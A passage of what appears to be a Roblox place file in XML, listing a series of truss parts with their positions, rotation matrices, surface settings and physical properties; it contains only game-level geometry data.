					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX185">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-82</X>
						<Y>15.3999996</Y>
						<Z>64</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX186">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-120</X>
						<Y>7.4000001</Y>
						<Z>74</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX187">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-120</X>
						<Y>7.4000001</Y>
						<Z>64</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX188">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-120</X>
						<Y>17.4000015</Y>
						<Z>64</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX189">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-120</X>
						<Y>27.4000015</Y>
						<Z>64</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX190">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-120</X>
						<Y>33.4000015</Y>
						<Z>64</Z>
						<R00>0</R00>
						<R01>-1</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>0</R11>
						<R12>1</R12>
						<R20>-1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX191">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-82</X>
						<Y>5.4000001</Y>
						<Z>74</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>-0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>-0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX192">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-98</X>
						<Y>5.4000001</Y>
						<Z>74</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>-0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>-0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX193">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-120</X>
						<Y>17.3999996</Y>
						<Z>74</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX194">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-120</X>
						<Y>27.3999996</Y>
						<Z>74</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX195">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-120</X>
						<Y>33.4000015</Y>
						<Z>74</Z>
						<R00>0</R00>
						<R01>-1</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>0</R11>
						<R12>1</R12>
						<R20>-1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX196">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-120</X>
						<Y>33.8000031</Y>
						<Z>69</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>0</R11>
						<R12>1</R12>
						<R20>0</R20>
						<R21>-1</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>8</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX197">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-82</X>
						<Y>5.4000001</Y>
						<Z>64</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>-0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>-0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX198">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-98</X>
						<Y>5.4000001</Y>
						<Z>64</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>-0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>-0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX199">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
